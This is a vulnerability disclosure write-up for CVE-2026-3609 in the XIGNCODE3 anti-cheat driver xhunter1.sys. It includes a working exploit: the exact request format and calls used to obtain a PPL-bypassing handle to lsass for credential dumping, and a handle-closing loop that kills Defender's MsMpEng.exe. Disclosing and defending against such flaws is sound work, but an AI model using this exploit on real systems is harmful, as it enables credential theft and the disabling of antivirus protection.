Post

CVE-2026-3609: PPL-Bypassing Handle Leak in XIGNCODE3 (xhunter1.sys)

CVE-2026-3609: PPL-Bypassing Handle Leak in XIGNCODE3 (xhunter1.sys)

TL;DR

Wellbia’s XIGNCODE3 anti-cheat driver xhunter1.sys exposes an IRP_MJ_WRITE command interface that hands a PROCESS_ALL_ACCESS handle to any caller for any process — including Protected Process Light targets such as lsass.exe. The driver requires no special privileges to open, the handler skips access checks by calling ObOpenObjectByPointer with AccessMode = KernelMode, and the resulting handle is dropped into the caller’s process handle table because the call omits OBJ_KERNEL_HANDLE. End result: an unprivileged user-mode process gets a kernel-blessed handle that defeats PPL and gives full read/write/terminate over arbitrary processes.

Affected sample, confirmed exploitable on Windows 11 build 26100:

1
2
xhunter1.sys  version 10.0.10011.16384
SHA-256       e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e

Background

XIGNCODE3 is an anti-cheat product from Wellbia.com Co., Ltd. bundled with a number of online games. Its kernel component is xhunter1.sys — a signed driver loaded onto every machine that runs an XIGNCODE3-protected title, and unloaded only after the last handle to its device closes. While the driver is up, every process on the system sits next to a kernel module that can be talked to without any administrative ceremony.

Two things make this driver interesting from a vulnerability-research perspective:

  1. It is a signed, distributed, kernel-mode binary that runs on demand — exactly the profile that Bring-Your-Own-Vulnerable-Driver (BYOVD) attackers look for.
  2. It exposes a command interface for routine anti-cheat tasks (handle queries, cross-process reads, image checks) — a much larger attack surface than the typical “one device, one IOCTL” driver.

This post walks through one of those commands and shows how it produces a clean PPL bypass on a fully-patched modern Windows host.

Driver Overview

FieldValue
Driverxhunter1.sys
ProductXIGNCODE3 Anti-Cheat
VendorWellbia.com Co., Ltd.
Version10.0.10011.16384
SHA-256e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e
SigningAuthenticode-signed by the vendor
DeviceCreated with IoCreateDevice — default ACL, no SDDL
DispatchIRP_MJ_CREATE (no auth), IRP_MJ_CLOSE, IRP_MJ_WRITE (command dispatch)

DriverEntry creates the device and wires up the dispatch table. Note the IoCreateDevice call — there is no IoCreateDeviceSecure and no SDDL string, so the device inherits the default ACL.

DriverEntry

The major function table is sparsely populated: MajorFunction[0] (CREATE), [2] (CLOSE), and [4] (WRITE). No DeviceIoControl handler.

The CREATE handler does nothing of interest — no token check, no PID check, no privilege check. It just returns STATUS_SUCCESS for every caller:

IRP_MJ_CREATE handler

Any user-mode process that can name the device can open it.

How the Driver Talks to Userland

Unlike most kernel drivers, xhunter1.sys does not use DeviceIoControl. The command interface is layered on top of WriteFile — i.e. IRP_MJ_WRITE. The handler reads a fixed-size request buffer and dispatches on a numeric opcode.

The dispatch entry point validates two things up front: the request length must be exactly 624 bytes, and the first eight bytes of the buffer must contain the size + magic pair packed into a single QWORD. Both checks are folded into one 64-bit compare:

IRP_MJ_WRITE dispatch entry

1
2
3
if (ReadLength == 624 && *(_QWORD *)buf == 0x345821AB00000270LL) {
    // ...dispatch...
}

The QWORD literal 0x345821AB00000270 decomposes little-endian as size = 0x270 = 624 at offset +0x00 and magic = 0x345821AB at offset +0x04. So the actual request buffer layout is:

OffsetSizeField
+0x004Length — must equal 0x270 (624)
+0x044Magic — must equal 0x345821AB
+0x084XOR validation key — driver echoes ~key to the response at +0x08
+0x0C4Command opcode
+0x108Response buffer pointer (user VA — driver MDL-maps this and writes back 0x2FA = 762 bytes)
+0x184Target PID (for command 785)
+0x1C4Desired access mask (for command 785)
+0x20+Command-specific payload

After the size+magic check, the dispatch entry MDL-locks the caller-supplied response buffer (via IoAllocateMdl + MmProbeAndLockPages + MmGetSystemAddressForMdlSafe) and hands the request off to a command-table walker:

Command dispatcher

The walker reads the opcode from req+0x0C and linear-scans an in-driver table of {opcode, flags, function_ptr} entries until it finds a match. The matched function pointer is invoked. One of those entries — opcode 785 (0x311) — leads to the bug.

The Vulnerable Path: Command 785

Command 785 has a thin wrapper that pulls the PID and access mask out of the request, builds a CID descriptor, and calls into the real opener:

Command 785 wrapper

In Rust-equivalent terms: it grabs req[+0x18] as target_pid, req[+0x1C] as desired_access, packs them as {pid, tid=0} in a stack OWORD, and invokes the worker. It also stamps the response header — length, the response magic 0x12121212, an inverted echo of the request’s XOR key, and a placeholder status — before stashing the returned handle at response +0x10.

The worker is where the vulnerability lives:

Vulnerable handler — ObOpenObjectByPointer

Reduced to the calls that matter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
*(_OWORD *)ProcessId = *a3;                 // copy {PID, TID} from caller
if (ProcessId[1]) {                         // TID non-zero → CID lookup
    v7 = PsLookupProcessThreadByCid(ProcessId, &Process, &Object);
    if (v7 >= 0) ObfDereferenceObject(Object);
} else {
    v7 = PsLookupProcessByProcessId(ProcessId[0], &Process);   // PID-only lookup
}

if (v7 >= 0) {
    v7 = ObOpenObjectByPointer(
        Process,
        0,                          // HandleAttributes — note: OBJ_KERNEL_HANDLE is NOT set
        0,                          // PassedAccessState
        a2,                         // DesiredAccess — caller-supplied
        (POBJECT_TYPE)PsProcessType,
        0,                          // AccessMode = KernelMode
        &Handle);

    ObfDereferenceObject(Process);

    if (v7 >= 0)
        *a1 = Handle;               // hand the handle back to the caller
}

Three things in that ObOpenObjectByPointer call combine to produce the vulnerability.

Why It Bypasses PPL

The semantics of ObOpenObjectByPointer are documented and well-understood, and they make the impact of this handler unambiguous.

1. AccessMode = KernelMode skips access checks. When AccessMode is KernelMode, the object manager grants whatever access was requested — Protected Process Light status, the requesting token, any Ob callbacks an EDR has registered through ObRegisterCallbacks, all of it is bypassed. Drivers normally use this when the caller is the kernel itself and the access was already authorised by other means. Here, the caller is whatever the user-mode process supplied.

2. HandleAttributes does not include OBJ_KERNEL_HANDLE. Without that flag, the resulting handle is inserted into the calling thread’s process handle table — i.e. the user-mode caller’s. The kernel did the privileged open, but the handle is handed back to the user.

3. DesiredAccess is caller-controlled. The user-supplied req[+0x1C] flows straight into the DesiredAccess argument. Pass 0x1FFFFF (PROCESS_ALL_ACCESS) and you get full process rights on whatever PID you named.

Result: a handle you couldn’t have gotten by calling OpenProcess from user-mode — because PPL and any Ob callback filters would have stopped that — but which behaves exactly like a PROCESS_ALL_ACCESS handle obtained legitimately. It is usable from the calling process with ReadProcessMemory, WriteProcessMemory, VirtualAllocEx, CreateRemoteThread, TerminateProcess, and anything else that takes a process handle.

Not the Only Primitive

Command 785 is the cleanest path, but it is not the only entry in the dispatch table worth knowing about. Opcode 787 (0x313) provides a cross-process memory read directly, without ever producing a handle: the handler resolves the target PEPROCESS, calls KeStackAttachProcess to switch into the target’s address space, copies memory out byte-by-byte into the response buffer, then detaches. Because the copy happens in kernel mode against the target’s page tables, PPL doesn’t apply there either — it is a read-only PPL bypass on its own.

For credential extraction the handle route is more useful (you want ReadProcessMemory on a real handle so the rest of the tooling Just Works), but for defenders the takeaway is that the driver as a whole is the BYOVD primitive worth blocking, not a single opcode.

Exploitation

The exploit is small. The driver does the privileged work; the user-mode caller only has to format the request correctly and use what comes back.

1. Open the device

1
2
3
4
HANDLE drv = CreateFileW(
    L"\\\\.\\<service_name>",
    GENERIC_WRITE,
    0, NULL, OPEN_EXISTING, 0, NULL);

The service name is configured per host. No elevation required; the driver is already loaded by whichever game pulled it in.

2. Build the 624-byte request

1
2
3
4
5
6
7
8
9
10
unsigned char req[0x270] = {0};                  // 624 bytes
unsigned char resp[762]  = {0};                  // 0x2FA — driver MDL-maps and writes back

*(uint32_t*)(req + 0x00) = 0x270;                // length
*(uint32_t*)(req + 0x04) = 0x345821AB;           // magic
*(uint32_t*)(req + 0x08) = 0;                    // XOR key (any value)
*(uint32_t*)(req + 0x0C) = 785;                  // opcode
*(uint64_t*)(req + 0x10) = (uint64_t)resp;       // response buffer (MDL-mapped)
*(uint32_t*)(req + 0x18) = lsass_pid;            // target
*(uint32_t*)(req + 0x1C) = 0x1FFFFF;             // PROCESS_ALL_ACCESS

3. Send it

1
2
DWORD written = 0;
WriteFile(drv, req, sizeof(req), &written, NULL);

4. Use the handle

1
2
HANDLE lsass = *(HANDLE*)(resp + 0x10);
ReadProcessMemory(lsass, /* … */);

That handle has PROCESS_ALL_ACCESS on a PPL process. From here the rest is just standard credential-extraction code — walk LogonSessionList, read the 3DES key material out of lsasrv.dll, decrypt the blobs, recover the NT hash. None of it touches disk and none of it needs admin.

End to end

Putting all of the above together, against lsass.exe on Windows 11 build 26200:

CredsHunter PoC dumping LSASS credentials via xhunter1.sys

The 3DES key and IV fall out of the BCrypt key walk, the LogonSessionList iterates cleanly, and the NTLM + SHA1 hashes for every active session come back decrypted. Full PoC source: github.com/BlackSnufkin/CredsHunter.

Killing PPL Processes: Command 800

The bypass shown above is read-and-handle, not kill. If you take the handle from command 785 and call TerminateProcess on an ordinary process, it works as written. Try it against a Protected Process Light service — MsMpEng.exe under Tamper Protection, for instance — and the call returns STATUS_ACCESS_DENIED:

1
2
[+] PPL bypass handle ..... 0x154 (PROCESS_ALL_ACCESS)
[-] TerminateProcess: Access is denied. (0x80070005)

The handle has every right bit set and the kernel-minted access mask is real — the denial is not coming from the handle table. NtTerminateProcess carries a PPL guard that runs after ObReferenceObjectByHandle succeeds: the syscall re-evaluates whether the caller’s protection level is compatible with the target’s, and a non-PPL caller against a PPL target fails there regardless of GrantedAccess. That guard does not exist on NtReadVirtualMemory, which is why the credential dump works through the same handle while termination does not.

xhunter1.sys does not import ZwTerminateProcess and does not resolve it dynamically through MmGetSystemRoutineAddress either. There is no kernel-side terminate path in this driver. But the dispatch table has twenty-five opcodes, and one of them — command 800 (0x320) — closes handles inside a remote process’s handle table from kernel mode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 sub_14000107C(REQ *req, RESP *resp) {
    PRKPROCESS Process;
    struct _KAPC_STATE ApcState;

    ObReferenceObjectByHandle(req->handle  /* +0x18 */, PROCESS_ALL_ACCESS,
                              0, 0, (PVOID*)&Process, 0);
    KeStackAttachProcess(Process, &ApcState);
    resp->status = sub_140002050(req->victim /* +0x20 */);
    KeUnstackDetachProcess(&ApcState);
    ObfDereferenceObject(Process);
    return 0;
}

__int64 sub_140002050(HANDLE Handle) {
    OBJECT_HANDLE_FLAG_INFORMATION info = { .Inherit = FALSE,
                                            .ProtectFromClose = FALSE };
    ObSetHandleAttributes(Handle, &info, KernelMode);  // strip protect bits
    return ZwClose(Handle);
}

While attached to the target, ObSetHandleAttributes(KernelMode) strips ProtectFromClose from any handle — the KernelMode previous-mode argument is the part that unlocks the protected flag — and ZwClose then tears the handle down. Because everything happens in the driver’s kernel context, the PPL guard inside NtTerminateProcess never enters the picture: PPL is a user-mode-to-kernel boundary, not a kernel-to-kernel one.

A single arbitrary handle close rarely kills a process by itself. But Windows processes hold a lot of handles — file objects, sections, ALPC ports, named events, ETW tracing handles, thread and process handles, registry keys. Yank enough of them and the process faults on its next I/O. MsMpEng is no exception.

The recipe is straightforward:

  1. Enumerate every handle in the system via NtQuerySystemInformation(SystemExtendedHandleInformation = 0x40).
  2. Filter the returned SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX array for entries where UniqueProcessId == target_pid.
  3. For each surviving handle value, send command 800 with the kernel-minted process handle at +0x18 and the victim handle at +0x20.
1
2
3
4
5
6
7
8
unsigned char req[0x270] = {0};
*(uint32_t*)(req + 0x00) = 0x270;
*(uint32_t*)(req + 0x04) = 0x345821AB;
*(uint32_t*)(req + 0x0C) = 800;                          // CLOSE_HANDLE
*(uint64_t*)(req + 0x10) = (uint64_t)resp;
*(uint64_t*)(req + 0x18) = (uint64_t)target_handle;      // from cmd 785
*(uint64_t*)(req + 0x20) = victim_handle_value;          // from NtQSI
WriteFile(drv, req, sizeof(req), &written, NULL);

Against MsMpEng.exe (PPL Antimalware-Light) on Windows 11 24H2 build 26200, the loop closes 802 of 819 handles and the process exits a few hundred milliseconds later. The 17 refusals are normal — some handles disappear mid-loop as the chain reaction reaps them:

1
2
3
4
5
6
[+] Target PID ............ 7520 (msmpeng.exe)
[+] PPL bypass handle ..... 0x154 (PROCESS_ALL_ACCESS)
[!] TerminateProcess: ACCESS_DENIED — target is PPL/PP.
[!] Falling back to driver-side handle stomp (cmd 800).
[+] Target has 819 open handles
[+] Handle stomp: closed 802, refused 17 (of 819)

This is the same kind of primitive Process Hacker exposes as “Close handle,” and the risk profile is identical: closing a kernel object that is still wired into shared system state — a section the loader is paging from, an ALPC port a system service is waiting on — will bugcheck the host. Try on a VM first. Against an ordinary PPL service process, the chain reaction stays bounded to the target and the process dies clean.

What an Attacker Gets

Command 785 is a single-call primitive for several distinct outcomes:

  • Credential dumping on a PPL target. Read lsass.exe memory through the leaked handle, decrypt offline, recover NT hashes and Kerberos tickets. Equivalent to what credential-dumping tools do, but with no tool on disk and no PPL to argue with.
  • Privilege escalation to SYSTEM. Obtain a PROCESS_ALL_ACCESS handle to a SYSTEM process such as winlogon.exe, then VirtualAllocEx + WriteProcessMemory + CreateRemoteThread. A standard-user process becomes SYSTEM.
  • Security software termination. For ordinary targets the leaked handle is enough — TerminateProcess against the kernel-minted handle skips both the user-mode access check and any Ob callbacks the AV registered. For PPL targets such as MsMpEng.exe under Tamper Protection, the cmd 800 handle-stomp path described above does the kill instead: the closes happen in the driver’s kernel context, so the PPL guard inside NtTerminateProcess is never on the path.
  • Sustained BYOVD primitive. Even after the vendor patches a given version of the driver, the affected signed binary keeps existing on the internet. Any attacker with admin on a target can drop the old xhunter1.sys, load it as a service, and replay the same exploit. This is the lasting risk of the bug long after the patch.

References

Closing

Anti-cheat drivers ship signed kernel components by the million and expose interfaces that look much more like generic system services than narrow per-game RPC. When one of those interfaces has the shape of command 785, the cost of the bug is not the elevation it gives to a researcher on a test box. It is the half-decade of distributed, signed binaries that will keep working as a BYOVD vehicle on any machine an attacker can write to. The patch is necessary and welcome; it does not make the prior binaries any less useful to whoever still has them. Treating those binaries as artefacts worth blocking — independent of whether the vendor has moved on — is the part defenders have to do.

This post is licensed under CC BY 4.0 by the author.